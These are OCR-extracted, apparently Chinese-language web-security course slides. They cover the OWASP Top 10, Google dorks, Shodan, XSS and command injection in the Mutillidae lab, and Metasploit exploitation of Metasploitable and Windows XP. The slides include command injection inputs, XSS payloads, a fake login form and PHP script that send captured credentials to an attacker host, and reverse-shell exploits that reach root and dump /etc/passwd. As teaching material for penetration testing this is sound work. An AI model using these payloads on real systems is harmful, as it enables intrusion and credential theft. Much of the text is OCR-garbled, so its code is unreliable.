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- OWASP (The Open Web Application Security
Project) Top Ten Project

OWASP Top © OWASP Top 10 2017

10 * https://www.owasp.org/images/7/72/OWASP_To
p_10-2017_%28en%29.pdf.pdf

OWASP Top 10 - 2013 > OWASP Top 10 - 2017

A1l - Injection

A1:2017-Injection

A2 - Broken Authentication and Session Management A2:2017-Broken Authentication

A3 - Cross-Site Scripting (XSS) A3:2017-Sensitive Data Exposure

A4 - Insecure Direct Object References [Merged+AT] A4:2017-XML External Entities (XXE) [NEW]

Ab — Sensitive Data Exposure AB:2017-Security Misconfiguration
A7 — Missing Function Level Access Contr [Merged+Ad] AT:2017-Cross-Site Scripting (XSS)

AB - Cross-Site Request Forgery (CSRF)

>
2>
A
U
A5 — Security Misconfiguration %) A5:2017-Broken Access Control [Merged]
.
U
[%] AB:2017-Insecure Deserialization [NEW, Community]
>

A9 - Using Components with Known Vulnerabilities A9:2017-Using Components with Known Vulnerabilities

A10 - Unvalidated Redirects and Forwards [%] A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]

A8-Cross-Site Request Forgery (CSRF), as many frameworks include CSRF defenses, it was found in only 5% of applications.
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- Google Hacking!! EifliE A

* Google Hacking Database (GHDB)
* https://www.exploit-db.com/google-hacking-

database/

* Google hacking database ¥ B A B L S —
LeRf 2 = 4H - ©J4F usernames, passwords, e-mail
list, password hashes, and other important
information.

G Oog Ie * inurl:wp-content/uploads filetype:xls | filetype:xlsx
password (Files containing passwords)

Hacking (2)

. Y Filters W Reset All
Google Hacking L
Database
Show| 15 j Quick Search |

ode/12922 Date |
Dork Category Author

Added ¥
2019-10-04 site:*/wp-includes/Requests/php_errorlog Error Messages Reza Abasi

Pages Containing Login

2019-10-02 siter*/account/preferences Reza Abasi

Portals
2019-10-01 "Powered by vBulletin Version 5.5.4° Vulnerable Servers anonymous
Pages Containing Login
I n U rI XXX 2019-10-01 site:*/request-password-reset ] Portals ket Reza Abasi

2019-09-30 site:*/cgi-sys/defaultwebpage.cgi intext:"SORRY!" Error Messages Reza Abasi


https://www.exploit-db.com/google-hacking-database/
http://sls.weco.net/node/12922

- Google Hacking Database

Google hacking database is set up by the offensive security
guys, the ones behind the famous BackTrack distro.

Google hacking database has a list of many Google dorks that
could be used to find usernames, passwords, e-mail list,
password hashes, and other important information.

Clolole] [

Hacking (2)

I Y Filters T Reset All
Google Hacking
Database
Show. 15 :I Quick Search |
Date
Dork Category Author
Added ¥ gory
2020-09-23 ‘— Dumping data for table 'users’ | ‘people’ | ‘'member™ Sensitive Alexandros
ext:sgl | ext:txt | ext:log | ext:env Directories Pappas

Pages Containing _ . .



Shodan is a search engine for hackers. Unlike
Google, Bing, andYahoo, which crawl for front-end
pages, Shodan crawls the web for devices such as
printers, security cameras, and routers, which are
connected to the Internet.

‘. S HODAN _ Q Explore Developer Pricing Enterprise Access

 Login or Register

The search engine-....f,af
Refrigerators

Shodan is the world's first search e

Create a Free Account

, Explore the Internet of See the Big Picture
) Things :

Websites are just one part of the intemet. There
SRRV



‘Insecam Displays Unsecured Webcams
From Around The World

https://techcrunch.com/2014/11/07/insecam-displays-
insecure-webcams-from-around-the-world/

Insecam Displays Unsecured
Webcams From Around The World

John Biggs @johnbiggs / 10:12 pm CST * November 7, 2014 q Comment

An odd site called Insecam purports to display 73,000 unsecured
http://www.insecam.org/

£$:°Z https://www.kocpc.com.tw/archives/115914



https://techcrunch.com/2014/11/07/insecam-displays-insecure-webcams-from-around-the-world/
http://www.insecam.org/
https://www.kocpc.com.tw/archives/115914

* https://[www.csoonline.com/article/2844283/peepin

g-into-73-000-unsecured-security-cameras-thanks-
to-default-passwords.html

Home > Technology Industry > Microsoft

’ PRIVACY AND SECURITY FANATIC Abaut |

Ms. Smith (not her real name) is a freelance
By Ms. Smith, CSO | NOV 6, 2014 9:55 AM PST writer and programmer with a special and
hat i inlTp y and

security issues.

NEWS

Peeping into 73,000 u it
cameras thanks todefault passwords

A site linked to 73,011 unsecured security camera locations in 256 countries to illustrate the
dangers of using default passwords.

60O0ODOOO0O



https://www.csoonline.com/article/2844283/peeping-into-73-000-unsecured-security-cameras-thanks-to-default-passwords.html
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(Injection
Flows) (5)

- T

- ERRE
A1 NAT A9E8

. O @® Kali2020-1-64bits-New - 482

L ATR_NORY B

R AHER R @B EES  GARER  SAENE

XN rmt2 NERE3 NEE4

v BARRFE
MIINE):  NAT 488%
#ZMW:  Ptest

[ N e

- BBHRE > REAEE 2 NAT 4385
| NN VirtualBox - 85
K @ o L
—# BA !ﬂl" Br #8i%  #KF;EThAE  Proxy
NAT #35%

BE &8

a a i
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EAER

(Injection
Flows) (1)

- {58 SQL Injection
* From wiki

SQLFEA

HEBN  BENENEE

WEEREMTEZRR - (201459521A)
BHRBHEAZ I EIREREUNSERGE » BEESNABJERRAZEREMBR -

SQLFA (338 : SQL injection) - thiESQLIBIBEISQLIE - RHENEARNHEBNEBNZZIRE -
MEZ ' EEBANTFSHEZPRESQLIES » ARG ARNEXNEFREB T FRE » BEELERTEENT
BiELMSREN EARERZAREENSQLIESTNT - BILERBIBHEAR - [

BEMARAESQLEA R R ¥ Microsoft SQL ServeriZ » (ERER TIEM KN ERIBSQLIESHNE R ERERS »
#HAETVEAEZRLEF AN -

SQL Injection AWeb I EE D Injection Flaw fY—F& - —fix
Injection WERELRFR 1 SQL an< 9 - BoJDIBIZREINEZE
BREKEE -

AT B Web BAIBFE MM R - MWERER - =23
ERENSE - UEREAS  nwWAZBESAEM - &8
R -

HIE - WEE o EAAZERNER - FEESNEEES
EZXFERERENT - BREERSREIE - I$Z$%TJ/X
EREZ SN EREBTFERENEREZE -
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15 415 il 2K
I EE (Cross-

site Scripting)
(2)

- Cross-site scripting (XSS) BRI AT S

FHIWE - SERISHEITHAE - BERENIE

EWT
ERBE—REIEFZEERNRIRE AwWeb WERD -
ﬁl:l HTTP request SL2 HERIEEA -

© Web BB R FRULEIRY SR B RE 2R 45 R

mRAABTANREESEERENEINN -

- & XSS RYRIb K FARIEERT - B%2545 Web FEFH
S = E’JE/H?ET*%/T = JavaScrlpt EI’JF'l B2 TUAE -

B Ol8EBIE HTML -~ Flash ~ S 2 EHMARE o] FH
AlB 2T ETNE -
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XSS WY BB FEERE—
"51\\|_.IHIJ—:|H UZIK i HH

I EE (Cross-
site Scripting)
(2)
1 WEEBEENY %E%%&T
link EREASEE BEHERE
2E m Webznmﬂmi%%)
aEl. V{

%ﬁ%%&%;zﬁgg mm%%fhz

25 TR RIS T S 2 Web AR
kBN EELAI EZHEIEs

£
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« XSS Stored

15 48 1k Al 7S
I ZE (Cross-

XSS MKBRWEBRIIE v ol & 79 A LA N 4R

Reflected Cross-site Scripting: Web a8l iR &8
ERMENSHRELEZEFEHRENEE
g CH -

Stored Cross-site Scripting: Web #31Ih & 14
FEENAS (HUREEREREINZ
*amtﬁ ) - AL - E—EXECEE
T EFZEHE  BEFEMERINIBIF

site Scripting)

(7) WEHBEREEENELS Web 43

;. ILE 7 s 48 I % LE AR TR R 7 1R

database
Web AU FHE R E P E
HQE\E\%‘\%{W% Al A8 I
BIRZAGATEEHE




& OWASPBWA

Open Web Application Security Project (OWASP)
Broken Web Applications Project

{8 Virtualbox BY &N

https://sourceforge.net/projects/owaspbwa/

/ OWASP Broken Web Applications Project

© OWASP Broken Web Applications Pr..

Brought to you by:

Y o 0 6 ®. ¢ Downloads: Last Update:

Download Get Updates Share This

@% OWASP Mutillidae 1l: Web Pwn in Mass e eviews supert e v Tickets

Production

Version: 2.6.24 _ Security Level: O (F Hints: (1 - Script Kiddle) Not Logged In| ity Project (OWASP) Broken Web Applications Project, a collection of vulnerable web applications that is

line in VMware format compatible with their no-cost and commercial VMware products.

Mutillidae: Deliberately Vulnerable Web
Pen-Testing Application

Like Mutillidae? Check out how to help

? What Should | Do? &'}ID Video Tutorials

e Help Me! ﬁ Listing of vulnerabilities


https://sourceforge.net/projects/owaspbwa/

° XSS testing Level o—Level 1 Level 5
* Lookup DNS

77N
Version: 2.6.16 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Log ister Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

( DNS Lookup

@ secc (@ Help v

Switch to SOAP Web Service Version of this Page

OWASP
Mutillidae Il

Who would you like to do a DNS lookup on?

Enter IP or hosthame

(2)

Hostname/IP I(scripbaLert(”HaHa”) </scrip

- IERN
%

Started:

ipaper




OWASP
Mutillidae Il

(2)

* Level 1

Characters used in cross-site scripting are not allowed,

Don't listen to security people, Everyone knows if we just filter dangerous characters,
X55 is not possible,

We use |avaScript defenses combined with filtering technology.

Both are such great defenses that you are stopped in your tracks.
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OWASP
Mutillidae

(3)

* Use burp

Change it

? Help Me!

Switch to SOAP Web Service VVersion of this Page

Who would you like to do a DNS loockup on?

Enter IP or hostname

Hostname/IP [abc

Lookup DNS:

1erator.oho?paaename=dns-lookup.oho |

DHH HTTP history TwebSuckets history T Options ]

— Request to http://localhost: 80 [127.0.0.1]

( romers [ oo | (e [ o |

] FParams THeaders Hex

POST /mutillidae/index.php?page=dns-lookup.php HTTR/1.1

Accept-Language: en-UsS,en;q=0.35

d Accept-Encoding: gzip, deflate

Referer: http://localhost/mutillidae/index.php?popUpNotificationCode=SL1&page=dns- lookup.php
Cookie: showhints=0; PHPSESSID=acgtd4f3d3tdhlodtogahashas

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

ength: 55

18



Forward J [ Drop J _ Action

Params THeaders THex 1

Comment this ite

—|POST /mutillidae/index.php?page=dns-lookup.php HTTP/1.1
° |Host: localhost

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

B \ccept-Encoding: gzip, deflate

Referer: http://localhost/mutillidae/index.php?page=dns- Lockup.php

= Cookie: showhints=0; PHPSESSID=acgtd4f3d3tdhlodtogahashas

Connection: keep-alive

mm Content-Type: application/x-www-form-urlencoded

Content-Length: 55

Mutillidae
(4)

Note: Level 5 is secure against XSS
The student can see dns-lookup.php

=<script=alert("HaHa");</script=5jns- lockup-php-submi t-button=Leckup+DONS

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0

19



* Command Injection (lookup DNS) in
Post

- Localhost && dir

% 10.0.2.7/mutillidae/index.php?page=dns-lookup.php i eJ l[:]v Google @.J é

t Visitedv “Offensive Security \Kali Linux \,Kali Docs ﬂExploit-DB ﬁAircrack-ng
28 ' T

OWAS P — Who would you like to do a DNS lookup on?
M Utl | | Id a e I I v Enter IP or hostname

( ) Hostname/IP [lo:alhost 88 Ls|

20



OWASP
Mutillidae

(6)

* Localhost && cat credits.php (also can
type cd ../../)

L Enter IP or hosthame J

Hosthame/IP [Lscal.hust &8& cat credits.php|

21



OWASP
Mutillidae

(6)

* netstatus

22



* In Level 1 security

ile Edit View History Bookmarks Tools Help

" Connecting...

%]

Burp Suite Free Edition v1.6

@ 10.0.2.7/mutillidae/index.php?page=dns-lookup.ph
Phpfpag p-php

Burp Intruder Repeater Window Help

=

OWASP
Mutillidae Il

OWASF 2010

Documentation

Resources

L)

Getting Started:
Project
Whitepaper

Most Visitedv [l Offensive Security S Kali Linux % Kali Docs ﬂExplait—DB W Aircrack

illidaahusahcaruiracienanhnc-l anlin-dre-rarard nhn 58

[Target H Spider T Scanner T Intruder T Repeater T Sequencer T Decoder

Back

9 Help Me!

Switch to SOAP Web Service Version ¢
»

_H HTTP history TWehSnckets history T Options ]

Request to http://10.0.2.7:80
[ J ( J ["intercept is on |

Headers

Forward Drop

Params Hex

POST /mutillidae/index.php?page=dns- lockup.php HTTR/1.1
Host: 10.0.2.7
User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:24.0) Gecko/20140

Who would you like t

Enter IP o

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.7/mutillidae/index.php?page=dns- Lookup.|
Cookie: showhints=0; PHPSESSID=kmsihdpolotfilnobilemusS54; aco)

abc

Hostname/IP

acgroupswithpersist=nada

Connection: keep-alive

Content-Type: application/x-www-Torm-urlencoded
Content-Length: 55

target_host=localhost+%26%26+Lsfdns- Llookup- php- submit-button=L

Results for |

(

8
Address: 8.8.8.8#53

F: rver:

NXDOHAIN

23



* Pop-up windows XSS attack! (The Blog)

e SELUTILY |, Mdll LInux Ty hdll LOLS BECXPLOIL-UD Wy AlTLrdace-ny

[ Add blog for anonymous ]

<h2> HaHa </h23

OWASP
Mutillidae

(8)

1 |anonymous 2014-12-18 09:38:57 HaHa

|2 |anonymous 2009-03-01 22:27:11 |An anonymous blog? Huh?

24



OWASP
Mutillidae

©),

* Pop-up windows HTML code (to capture-data.php)

<div id="idLogin" style="padding: 20px; position: absolute;
top:250px; left: 400px;background-color:#ffcccd; border: solid
black 1px;">

<form action="http://10.0.2.7/mutillidae/capture-data.php"
method="get">

<table style="font-weight:bold;">

<tr><td colspan="2" style="font-size:20px;">Were sorry. This
session has expired.<br/><br/>Please login again.</td></tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr><td>Username</td><td><input name="username"
type="text"></td></tr>

<tr><td>Password</td><td><input name="password"
type="text"></td></tr>

<tr><td colspan="2" style="text-align:center;"><input
type="submit" value="  Submit "></td></tr>

</table>

</form>

</div>

25



OWASP
Mutillidae
(20)

1 New Blog Enti
View Blogs

* Pop-up windows!

. Back

9 Help Me!

]
[Note:]

Were sorry. This session has expired.

Please login again.

Username [abc

Password [aaa@mail..ccc.tw|

Submit I

il

[ Save Blog Entry }

26



* Capture-datal!

ttp://10.0.2.7...a%40mail.ccc.tw | 5 |

[ @ 10.0.2.7/mutillidae/capture-data.php?username=abc&password=aaa%4 Omail.ccc.tw

ost Visited~ ] Offensive Security ", Kali Linux “e Kali Docs ﬂExplﬂit-DB ﬁAircrack-ng

Mutillidae Il

Q. Delete Capured Data @ Capture Data

. . username = abc password =
Mozla/.0 (X11; aaa@mall.ccc tw showhints = >

Linux i686; http://10.0.2.7 OPHRSESSID — _—— |

rv:24.0) /mutilidae
Gecko/20140723|/index php? page =add- | P¥Io99aebtoabim8aarsh63aus
acopendivids =

IFr:l:ree\L[::szeT}lé]ﬂr 20 to-your-blog.php swingset,jotto,phpbb2,redmine
Y acgroupswithpersist = nada

2014-12-18

10.0.2.15 09:46:47

10.0.2.15|33055

27



cap.php
<?php

- To another website suser = s_GET["Username"];

$pass = $_GET["password"];

sfile = fopen(‘cap.txt', 'a");

fwrite(sfile, "Username:" . suser." Password:"
$pass . "\n");

>

<div id="idLogin" style="padding: 20px; position: absolute;

OWAS P top:250px; left: 400px;background-color:#ffcccd; border:
L solid black 1px;">
M Ut| | | |d a e I I <form action="http://120.113.173.21/attacker/cap.php"
method="get">
(12) <table style="font-weight:bold;">

<tr><td colspan="2" style="font-size:20px;">Were sorry.
This session has expired.<br/><br/>Please login
again.</td></tr>

<tr><td colspan="2">&nbsp;</td></tr>
<tr><td>Username</td><td><input name="username"
type="text"></td></tr>
<tr><td>Password</td><td><input name="password"
type="text"></td></tr>

<tr><td colspan="2" style="text-align:center;"><input
type="submit" value="  Submit "></td></tr>
<[table>

</form>

</div>

28



* Pop-up windows!

h Back 9 Help Me!

« View Blogs Were sorry. This session has expired.

OWASP : Please login again.
[Note:|

Mutillidae II
(13) Username abed

Password dddd@mail.aaa.tw

Note: blog EHtFiEI:

Submit

29



OWASP
Mutillidae Il

(14)

- Save tofile! cap.txt

File Edit View History Bookmarks Tools Help

(I hittp://120.113.... %40mail aaa.tw | & |

* [ @ 120.113.173.21/attacker/cap.php?username=abcd&password=dddd%40mail.aaa. tw

f5Most Visited~  JllOffensive Security e Kali Linux “& Kali Docs ﬂExpl.uit—DEi ﬁAircrack—ng

more cap.txt

30
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ZEBRDOEINBETLR- KEsiRNERER
Unreal IRCD 3.2.8.12 Remote Backdoor

UnreallRCd is an open source IRC (Internet Relay
Chat) daemon, originally based on DreamForge,
and is available for Unix-like operating systems and
Windows.

http://en.wikipedia.org/wiki/UnreallRCd

http://web.nvd.nist.gov/view/vuln/detail?vulnld=CV
E-2010-2075

msf5 > search cve-2010-2075

Matching Modules

Disclosure Date NATIONAL VULNERABILITY DATABASE
Description

exploit/unix/irc/unreal ircd 3281 backdoor 2010-06-12 excellent No
UnrealIRCD 3.2.8.1 Backdoor Command Execution

JXCVE-2010-2075 Detail
MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result
in further changes to the information provided.

Description


http://en.wikipedia.org/wiki/UnrealIRCd
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2075

AR BB B
- BRIZR

- B (https://www.eccouncil.org/ )

- CEH ->ECSA -> LPT
BREE > 22NN -> 2EAIH TI26M

| SECURITY
ECSA| “ANALYST

| y— -
—— ECSA

ECCowmet] Contitid Secuitty Anadpst

33


https://www.eccouncil.org/

Start the Metasploit (or just type msfconsole)

For database => msfdb

]
1
1
1
1
]
1
1
1
1

. ploits - 1186 auxiliary - 344
62 payloads - 45 encoders - 1@ nops
7 evasion

tasploit tip: Writing a custom module? After editing your module, why not try the reload comm

:‘ I




Metasploit Architecture

LIBRARIES

Rex

A

MSF

Core

'T
MSF

Base
|
MODULES

PLUGINS —

Payloads Exploits Encoders

; INTERFACES

Console

CLI

Web

GUI

Nops




CVE:2018

Matching Modules

Name Disclosure Date
Check Description

auxiliary/admin/http/gitstack_rest 2018-91-15
Mo GitStack Umauthenticated REST API Requests
auxiliary/admin/http/grafana_auth_bypass 2019-08-14
No Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OQOAuth
auxiliary/admin/http/wp_gdpr_compliance_privesc 2018-11-08
Yes WordPress WP GDPR Compliance Plugin Privilege Escalation
auxiliary/admin/smb/webexec_command

No WebEx Remote Command Execution Utility
auxiliary/dos/http/flexense_http_server_dos 2018-03-09

msf5 > search CVE:2018-19518

Matching Modules

# MName Disclosure Date Check Description

php imap_open Remote




Unreal IRCD 3.2.8.1 Remote Backdoor

UnreallRCd is an open source IRC (Internet Relay Chat)
daemon, originally based on DreamForge, and is available for
Unix-like operating systems and Windows.

http://en.wikipedia.org/wiki/UnreallRCd

http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2010-
2075

IKCVE-2010-2075 Detail
MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result
in further changes to the information provided.

Current Description

UnreallRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 through June 2010, contains an externally
introduced modification (Trojan Horse) in the DEBUG3_DOLOG_SYSTEM macro, which allows remote attackers to
execute arbitrary commands.

> search CVE: 2010-2875

Disclosure Date Rank Check Descriptio

® exploit/unix/irc/unreal_ircd_3281 backdoor 2018-86-12 =xcellent i Unreal IRCD
3.2.8.1 Backdoor Command Execution



http://en.wikipedia.org/wiki/UnrealIRCd
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2075

Search result of Unreal IRCD 3.2.8.1

msf5 > search unreal

Matching Modules

Disclosure Date Rank Check Descriptio

2004-06-18 g i Unreal Tou

2010-06-12 excellent UnrealIRCD

.1 EaLPdDOI tommand EnELu
) 101wa1ndow:f94mn Jut ; Y 2 06 g ¢ Unreal Tou

04 "secure” Overflow (Wi




See the details

info exploit/unix/irc/unreal_ircd_3281_backdoor

msf5 » info exploit/unix/irc/unreal_ircd 3281 backdoor

Mame: UnrealIRCD 3.2.8.1 Backdoor Command Execution
Module: exploit/unix/irc/unreal_ircd_3281_backdoor
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank:
Disclosed: 2010-86-12

Provided by:
hdm <x@hdm.io>

Available targets:
Id Name

Automatic Target



Introduction

to Metasploit

> Simply run the “"use” command with the
exploit name.

* That's OK!

40



Use nmap to check the vulnerabilities of
the metasploitable

:~% sudo nmap -T& -A -p 6667 10.0.2.4
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-22 10:0@ EDT
Nmap scan report for 10.0.2.4

!

Host is up (0.00073s latency).

PORT STATE SERVICE VERSION
6667 /tcp open 1irc UnrealIRCd
| irc-info:

users: 1

servers: 1

lusers: 1

server: irc.Metasploitable.LAN
version: Unreal3.2.8.1. irc.Metasploitable.LAN

source ident: nmap

source host: B476EA@F.EB72D3BE.7B559A54.1IP

error: Closing Link: urunzbblh[1@0.8.2.11] (Quit: urunzbblh)
C Address: 08:00:27:26:EE:83 (Oracle VirtualBox virtual NIC)

!
!
!
|
!
!
| uptime: @ days, @:&48:49
|
!
|
K



Setting Exploit Options
set < Variable Name> <Value:

LHOST = Local Host, or our Kali System
RHOST = Remote Host, or our target System
LPORT = Port we want to use on our Kali System

RPORT = Port we want to attack on our target
System

"

> show options

Module options (exploit/unix/irc/unreal_ircd_3281 backdoor):

ELE Current Setting Reguired Description

RHOSTS yEs The target host(s), range CIDR identifier, or hosts file
with syntax '"file:<path>’
RPORT 6667 yes The target port (TCP)

Exploit target:

Id MName

Automatic Target



set RHOST

> set RHOSTS 10.8.2.
> show options
Module options (expleit/unix/irc/unreal_ircd_3281_backdoor):

Name Curre Setting Required Description

RHOSTS .B.2.1 W The target host(s), range CIDR identifier, or hosts file

with syntax
RPORT r We The target port (TCP)

Exploit target:

Id MName

Automatic Target



show payloads

set payload

# Name Disclosure Date Rank Check Description

4] cmd/uni ind_perl manual No Unix Command °
Bind TCP (via )

1 cmd/un nd_perl_ipve manual No Unix Command
Bind TCP (via ) IPve
2 cmd/unix/bind_ruby manual No Unix Command °
Bind TCP (via Ruby)

3 cmd/unix/bind_ruby_ipvé manual No Unix Command @
Bind TCP (via Ruby) IPv6

4 cmd/unix/generic manual No Unix Command,
c Command Execution

5 cmd/unix manual No Unix Command

cploit( )} > set payload cmd/unix/reverse
= cmd/unix/reverse
) > show options
Module options (expleoit/unix/irc/unreal ircd 3281 backdoor):
Name Current Setting Required Description
Proxies A proxy chain of format type:host:port[,type:host:port][

The target host(s), range CIDR identifier, or hosts file

with sy : .
RPORT [ yes The target port (TCP)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

LHOST W The listen address (an interface may be specified)
LPORT 4444 W The listen port




Set LHOST
Running the Exploit

Started reverse TCP double handler on 10.8.2.
16667 - Connected to 10.8.2.4:6667 ...

:irc.Metasploitable.LAN NOTICE AUTH :%** |ooking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :#*k Couldn't resolve your hostname; using your IP addr
in,fnqd
10.0. 7 - Sending backdoor command ...

rst client connection .

cond client GDnnﬂLtan."
Command: uAKJpD;KAyhjﬂlJ,
Writing e
Writing
Reading
Reading
B: "EwAKSpD3KAy)
Matching ...
A is input...
Command shell session 1 opened (10.8.2.11:4444 — 10.0.2.4:56391) at 2020-10-22 10:27:




Test attack result

Cat password

whoami
root

Z passw
root:x:0:@:root:/root:/bin/bash
v:1:1:daemon: fusr/sbin: /bin/sh
bin:/bin:/bin/sh
:sys:/dev:/bin/sh
:x:4:65534:sync:/bin: /bin/sync
games:x:5:6@:games: fusr/games: /bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp: 7:lp:/var/spool/lpd: /bin/sh
mai 8:8:mail:/var/mail:/bin/sh
9:9:news: /var/spool/news:/bin/sh
18:1@:uucp:/var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
wnw —dat: 33:www-data:/var/w:/bin/sh

39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh




Getting a remote shell on a Windows XP Machine

mst5S > search ms@8_067

Matching Modules

# MName Disclosure Date Rank Check Description

@ exploit/windows/smb/ms@8_@67 netapi 2008-10-28 great Yes MS@8-867 Microsoft Se
rver Service Relative Path Stack Corruption

msf5 > use exploit/windows/smb/ms@8_@67_netapi
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit( } » show options

Module options (exploit/windows/smb/ms@8 067 netapi):

Name Current Setting Required Description

RHOSTS yes The target host(s), range CIDR identifier, or hosts file
with syntax "file:<path>’

RPORT 445 yes The SMB service port (TCP)

SMEPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Reguired Description

EXITFUNC thread yes Exit technique (Accepted: "', seh, thread, process, non
e)

LHOST 10.0.2.11 yes The listen address (an interface may be specified)

LPORT L8444 VES The listen port




Show targets

Name

Automatic Targeting

Windows 2080 Universal

Windows XP SPB/SP1 Universal

Windows 2803 SP@ Universal

Windows XP SP2 English (AlwaysOn NX)

Windows XP SP2 English (NX)

Windows XP SP3 English (AlwaysOn NX)

Windows XP SP3 English (NX)

Windows XP SP2 Arabic (NX)

Windows XP 5P2 Chinese - Traditional / Taiwan (NX)
Windows XP SP2 Chinese - Simplified (NX)
Windows XP SP2 Chinese

@
1

N

0o =l n

e - Traditionmal (NX)
Windows XP SP2 Czech (NX)
Windows XP Danish (NX)

] - ol Oy [,




Introduction

- show advanced
* Picking a Payload
- show payloads

. setp e set pavload/osx/x86/shell reverse tcp
e set payload/linux/x64/shell _reverse tcp

to M etas p | O |t e set payload/windows/shell reverse tep

(29)

e zet payload/windows/meterpreter/reverse tep

__________________________
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* Set LHOST & RHOST

» — 10.0.2.5

Introduction

* Run exploit

to Metasploit
(20)

5o



Meterpreter

Shell (1)

- After a successful exploit a Meterpreter shell allows
you to perform many different functions along with
a full remote shell.

° Meterpreter is great for manipulating a system
once you get a remote connection, so depending
on what your goals are; a Meterpreter shell is

usually preferred to a straight remote terminal shell.

* Core Commands

* File System Commands

* Networking Commands

* System Commands

* User Interface Commands
* Webcam Commands

* Three Priv Commands

* http://www.offensive-security.com/metasploit-
unleashed/Existing_Scripts
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) > exploit

TCP handler on 18.8.2.11:444

&
nerability ...

33 -0408

Core Commands

Command Description

? Help menu

background Backgrounds the current session

bg Alias for background

bgkill Kills a bac ound meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel




Use file system commands

b |
> s

meterpreter

Listing: C:“WINDOWS

Mode

100666/ TW-TW-TW-
LOT77/TWAXTWATWX
100666/ TW-TW-TW-
L0777/ TWAXTWXTWX
100666/ TW-TW-TW-
40777/ rux
L@777/TWXTW
L8777 /WX

L8777/ TWx
4O777/rux

40777/ TWXTWXTWX
100666/ TW-TW-TW-
100666/ TW-TW-TW-
100666/ TW-Trw-Trw-
40555/ r-Xr-xr-x
100666/ TW-TW-TW-
100666/ TW-TW-TW-
LO7T77 /WX
LB777/Twxr ]
100666/ TW-TW-TW-

Type

fil
dir
fil
dir
fil
dir
dir
dir
dir
dir
dir
fil
fil
fil
dir
fil
fil
dir
dir
fil

Last modified

2014-11-18 @3:
2014-11-18 11:
2014-11-18 @3:
2014-11-18 @5:
2014-11-18 @3:
2014-11-18 11:
2014-11-18 11:
2014-11-18 11:
2014-11-18 11:
2014-11-18 @3:
2014-11-18 11:
2014-11-18 @3:
2014-11-18 @3:
2014-11-18 @3:
2014-11-18 11:
2014-11-18 @3:
2014-11-18 @3:
2014-11-18 11:
2014-11-18 @3:
2014-11-18 @3:

Name

@.log

AppPatch

Blue Lace 16.bmp
C5C

Coffee Bean.bmp
Config

Connection Wizard
Cursors

Debug

Downloaded Program
Driver Cache
DtcInstall.log
FaxSetup.log
FeatherTexture.bmp
Fonts

Gone Fishing.bmp
Greenstone.bmp
Help

Installer
MedCtrOC.log




Use screenshot

You can grab a snapshot of whatever is currently being displayed on your target’
monitor using the " “screenshot” command:

| s E W e

— "{To#a FF 1050
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